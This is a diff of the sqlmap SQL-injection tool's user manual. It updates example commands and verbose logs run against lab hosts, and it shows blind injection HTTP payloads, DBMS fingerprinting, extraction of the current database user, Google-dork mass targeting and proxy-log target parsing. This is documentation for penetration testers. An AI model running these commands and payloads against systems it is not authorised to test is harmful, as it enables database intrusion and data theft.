CONCAT(CHAR(53), CHAR(53)) +[hh:mm:14] [INFO] retrieved: 55 +[hh:mm:14] [INFO] performed 20 queries in 0 seconds +[hh:mm:14] [INFO] confirming MySQL +[hh:mm:14] [INFO] query: LENGTH(CHAR(53)) +[hh:mm:14] [INFO] retrieved: 1 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:14] [INFO] retrieved: 5 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 -Example on a
MySQL 5.0.51 target (verbosity level2 ): +Example on aMySQL 5.0.67 target (verbosity level2 ):-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 2 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 2 -[hh:mm:34] [DEBUG] initializing the configuration -[hh:mm:34] [DEBUG] initializing the knowledge base -[hh:mm:34] [DEBUG] cleaning up configuration parameters -[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through -[hh:mm:34] [DEBUG] creating HTTP requests opener object -[hh:mm:34] [DEBUG] parsing XML queries file -[hh:mm:34] [INFO] testing connection to the target url -[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds -[hh:mm:35] [INFO] url is stable -[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic -[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:03] [DEBUG] initializing the configuration +[hh:mm:03] [DEBUG] initializing the knowledge base +[hh:mm:03] [DEBUG] cleaning up configuration parameters +[hh:mm:03] [DEBUG] setting the HTTP method to GET +[hh:mm:03] [DEBUG] creating HTTP requests opener object +[hh:mm:03] [DEBUG] parsing XML queries file +[hh:mm:03] [INFO] testing connection to the target url +[hh:mm:03] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:04] [INFO] url is stable +[hh:mm:04] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:04] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:04] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:04] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:04] [INFO] GET parameter 'id' is dynamic +[hh:mm:04] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:04] [INFO] testing unescaped numeric injection on GET parameter 'id' +[hh:mm:04] [INFO] confirming unescaped numeric injection on GET parameter 'id' +[hh:mm:04] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis [...] -Example on a
MySQL 5.0.51 target (verbosity level3 ): +Example on aMySQL 5.0.67 target (verbosity level3 ):-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 3 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 3 [...] -[hh:mm:28] [INFO] testing connection to the target url -[hh:mm:28] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:54] [INFO] testing connection to the target url +[hh:mm:54] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] -[hh:mm:29] [INFO] testing MySQL -[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:29] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 -CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1 +[hh:mm:55] [INFO] testing MySQL +[hh:mm:55] [INFO] query: CONCAT(CHAR(54), CHAR(54)) +[hh:mm:55] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2854%29%2C%20CHAR +%2854%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201104=1104 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] -Example on a
MySQL 5.0.51 target (verbosity level4 ): +Example on aMySQL 5.0.67 target (verbosity level4 ):-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 4 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 4 [...] -[hh:mm:32] [INFO] testing connection to the target url -[hh:mm:32] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:44] [INFO] testing connection to the target url +[hh:mm:44] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close -[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:00:32 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 127 +[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 11 Dec 2008 hh:mm:44 GMT +Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch +X-Powered-By: PHP/5.2.6-2ubuntu4 +Content-Length: 119 Connection: close Content-Type: text/html [...] -[hh:mm:33] [INFO] testing MySQL -[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:33] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 -CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1 +[hh:mm:45] [INFO] testing MySQL +[hh:mm:46] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:46] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20CHAR +%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%203030=3030 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close - -[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:00:33 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 75 -Connection: close -Content-Type: text/html [...] -Example on a
MySQL 5.0.51 target (verbosity level5 ): +Example on aMySQL 5.0.67 target (verbosity level5 ):-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 [...] -[hh:mm:23] [INFO] testing connection to the target url -[hh:mm:23] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:17] [INFO] testing connection to the target url +[hh:mm:17] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close -[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:02:23 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 127 +[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 11 Dec 2008 hh:mm:17 GMT +Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch +X-Powered-By: PHP/5.2.6-2ubuntu4 +Content-Length: 119 Connection: close Content-Type: text/html @@ -612,20 +678,23 @@ Content-Type: text/html </table> </body></html> [...] -[hh:mm:24] [INFO] testing MySQL -[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51)) -[hh:mm:24] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20 -CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1 +[hh:mm:18] [INFO] testing MySQL +[hh:mm:18] [INFO] query: CONCAT(CHAR(51), CHAR(51)) +[hh:mm:18] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20CHAR +%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%202581=2581 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close -[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:02:24 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 +[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 11 Dec 2008 hh:mm:18 GMT +Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch +X-Powered-By: PHP/5.2.6-2ubuntu4 Content-Length: 75 Connection: close Content-Type: text/html @@ -645,7 +714,64 @@ Content-Type: text/html Option: -l -TODO +Rather than providing a single target URL it is possible to test and inject +on HTTP requests proxied through
+or . + + +Example passing to sqlmap a WebScarab proxy conversations/ folder: + +
+$ python sqlmap.py -l /tmp/webscarab.log/conversations/ + +[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list +[hh:mm:43] [INFO] sqlmap got a total of 27 targets +[hh:mm:43] [INPUT] url 1: +GET http://192.168.1.121:80/phpmyadmin/navigation.php?db=test&token=60747016432606019619a +c58b3780562 +Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b +d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D; +pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted; +pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted +do you want to test this url? [Y/n/q] n +[hh:mm:46] [INPUT] url 2: +GET http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1 +Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3 +do you want to test this url? [Y/n/q] y +[hh:mm:49] [INFO] testing url http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1 +[hh:mm:49] [INFO] testing connection to the target url +[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:50] [INFO] url is stable +[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic +[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic +[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:50] [INFO] GET parameter 'id' is dynamic +[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id' +[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id' +[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis +[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y +[hh:mm:29] [INFO] testing for parenthesis on injectable parameter +[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:29] [INFO] testing MySQL +[hh:mm:29] [INFO] query: CONCAT(CHAR(57), CHAR(57)) +[hh:mm:29] [INFO] retrieved: 99 +[hh:mm:29] [INFO] performed 20 queries in 0 seconds +[hh:mm:29] [INFO] confirming MySQL +[hh:mm:29] [INFO] query: LENGTH(CHAR(57)) +[hh:mm:29] [INFO] retrieved: 1 +[hh:mm:29] [INFO] performed 13 queries in 0 seconds +[hh:mm:29] [INFO] query: SELECT 9 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:29] [INFO] retrieved: 9 +[hh:mm:29] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 +[...] + Process Google dork results as target urls @@ -654,9 +780,10 @@ TODO Option: -g -Rather than providing a target URL it is also possible to test and inject -on GET parameters on the results of your Google dork. +It is also possible to test and inject on GET parameters on the +results of your Google dork. +
This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters @@ -664,21 +791,25 @@ asking you if you want to test and inject on each possible affected URL.
Example of Google dorking with expression site:yourdomain.com -inurl:example.php: +ext:php:
-$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1 +$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1 [hh:mm:38] [INFO] first request to Google to get the session cookie [hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are testable hosts -[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this +[hh:mm:41] [INFO] sqlmap got a total of 59 targets +[hh:mm:40] [INFO] url 1: +GET http://yourdomain.com/example1.php?foo=12, do you want to test this url? [y/N/q] n -[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this +[hh:mm:43] [INFO] url 2: +GET http://yourdomain.com/example2.php?bar=24, do you want to test this url? [y/N/q] n -[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you +[hh:mm:42] [INFO] url 3: +GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you want to test this url? [y/N/q] y -[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483 +[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483 [hh:mm:45] [INFO] testing if the url is stable, wait a few seconds [hh:mm:49] [INFO] url is stable [hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic @@ -702,7 +833,7 @@ It is possible to pass user's options from a configuration INI file, an example is sqlmap.conf. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:$ python sqlmap.py -c "sqlmap.conf" @@ -715,11 +846,14 @@ back-end DBMS: MySQL >= 5.0.0 Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite the same options, if set, in -the configuration file provided. +the provided configuration file.
Request + +These options can be used to specify how to connect to the target url. +
HTTP method: GET or POST @@ -736,7 +870,7 @@ Example on an
Oracle XE 10.2.0.1 target:@@ -797,7 +931,7 @@ Example on a $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST \ - --data "id=1&cat=2" + --data "id=1" [hh:mm:53] [INFO] testing connection to the target url [hh:mm:53] [INFO] testing if the url is stable, wait a few seconds @@ -748,8 +882,6 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method [hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id' [hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id' [hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable -[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic -[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic [...] [hh:mm:54] [INFO] testing Oracle [hh:mm:54] [INFO] query: LENGTH(SYSDATE) @@ -759,6 +891,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method [hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1 [hh:mm:54] [INFO] retrieved: 10.2.0.1.0 [hh:mm:55] [INFO] performed 76 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle Microsoft SQL Server 2000 Service Pack 0 target:$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \ - "id=1;cat=2" -v 1 + "id=1" -v 1 [hh:mm:37] [INFO] testing connection to the target url [hh:mm:37] [INFO] testing if the url is stable, wait a few seconds @@ -832,7 +966,11 @@ $ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3 [hh:mm:39] [INFO] testing connection to the target url [hh:mm:39] [TRAFFIC OUT] HTTP request: GET /sqlmap/get_str.asp?name=luther HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.125:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ Connection: close @@ -843,7 +981,11 @@ Connection: close [hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic [hh:mm:40] [TRAFFIC OUT] HTTP request: GET /sqlmap/get_str.asp?name=luther HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.125:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 Cookie: ASPSESSIONIDSABTRCAS=469 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close @@ -880,18 +1022,22 @@ option. By default no HTTP Referer heder is sent in HTTP requests. -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer \ "http://www.google.com" -v 3 [...] [hh:mm:48] [INFO] testing connection to the target url [hh:mm:48] [TRAFFIC OUT] HTTP request: -GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 Referer: http://www.google.com +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -918,14 +1064,18 @@ It is possible to fake it with the --user-agent option. Example on an Oracle XE 10.2.0.1 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \ --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3 [...] [hh:mm:02] [INFO] testing connection to the target url [hh:mm:02] [TRAFFIC OUT] HTTP request: -GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Connection: close [...] @@ -938,10 +1088,10 @@ option, sqlmap will randomly select a User-Agent from the file and use it for all HTTP requests. -Example on a
MySQL 5.0.51 target: +Example on aMySQL 5.0.67 target:+ -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \ -a "./txt/user-agents.txt" [hh:mm:00] [DEBUG] initializing the configuration @@ -955,8 +1105,12 @@ Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) [hh:mm:00] [DEBUG] parsing XML queries file [hh:mm:00] [INFO] testing connection to the target url [hh:mm:00] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) Connection: close [...] @@ -980,6 +1134,18 @@ to force the HTTP User-Agent header with option --user-agent or -a Extra HTTP headers + + +Option: --headers + +
+It is possible to provide extra HTTP headers by providing --headers +options. Each header must be separated by a "\n" string and it's much easier +to provide them from the configuration INI file. Have a look at the sample +sqlmap.conf file. + +
HTTP Basic and Digest authentications @@ -993,35 +1159,43 @@ The two valid types are Basic and Digest and the credentials' syntax is username:password.
-Examples on a
MySQL 5.0.51 target: +Examples on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" \ --auth-type Basic --auth-cred "testuser:testpass" -v 3 [...] -[hh:mm:28] [INFO] testing connection to the target url -[hh:mm:28] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:14] [INFO] testing connection to the target url +[hh:mm:14] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \ +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" \ --auth-type Digest --auth-cred "testuser:testpass" -v 3 [...] -[hh:mm:48] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:54] [INFO] testing connection to the target url +[hh:mm:54] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 Authorization: Digest username="testuser", realm="Testing digest authentication", -nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f", -uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", -response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, -cnonce="df1c0902c931b640" +nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d", +uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747", +algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a" User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1039,11 +1213,11 @@ HTTP requests to the target URL. The syntax of HTTP proxy value is http://url:port. -Example on a
PostgreSQL 8.2.7 target: +Example on aPostgreSQL 8.3.5 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \ - --proxy "http://127.0.0.1:3128" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \ + --proxy "http://192.168.1.47:3128" [hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic @@ -1060,8 +1234,8 @@ as explained on the then run sqlmap as follows: -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \ - --proxy "http://127.0.0.1:8118" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \ + --proxy "http://192.168.1.47:8118" @@ -1082,29 +1256,39 @@ This feature relies on the
concept and inherits both its pro and its cons. -Examples on a
MySQL 5.0.51 target: +Examples on aMySQL 5.0.67 target:-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ - -b --threads 3 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \ + --current-user --threads 3 [...] -back-end DBMS: MySQL >= 5.0.0 +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 -[hh:mm:08] [INFO] fetching banner -[hh:mm:08] [INFO] retrieved the length of query output: 18 -[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)) -[hh:mm:09] [INFO] starting 3 threads -[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2 -[hh:mm:09] [INFO] performed 132 queries in 0 seconds -banner: '5.0.51a-3ubuntu5.2' +[hh:mm:18] [INFO] fetching current user +[hh:mm:18] [INFO] retrieving the length of query output +[hh:mm:18] [INFO] query: IFNULL(CAST(LENGTH(CURRENT_USER()) AS CHAR(10000)), CHAR(32)) +[hh:mm:18] [INFO] retrieved: 18 +[hh:mm:19] [INFO] query: IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)) +[hh:mm:19] [INFO] starting 3 threads +[hh:mm:19] [INFO] retrieved: testuser@localhost +[hh:mm:19] [INFO] performed 126 queries in 0 seconds +current user: 'testuser@localhost' As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one -character of the query output. The thread then ends after approximately -seven HTTP requests, the maximum to retrieve a query output character. +character of the query output. The thread then ends after up to seven +HTTP requests, the maximum requests to retrieve a query output character +with the blind SQL injection bisection algorithm implemented in sqlmap. + +
+Note that the multithreading option is not needed if the target is affected +by an inband SQL injection vulnerability and the --union-use +option has been provided.
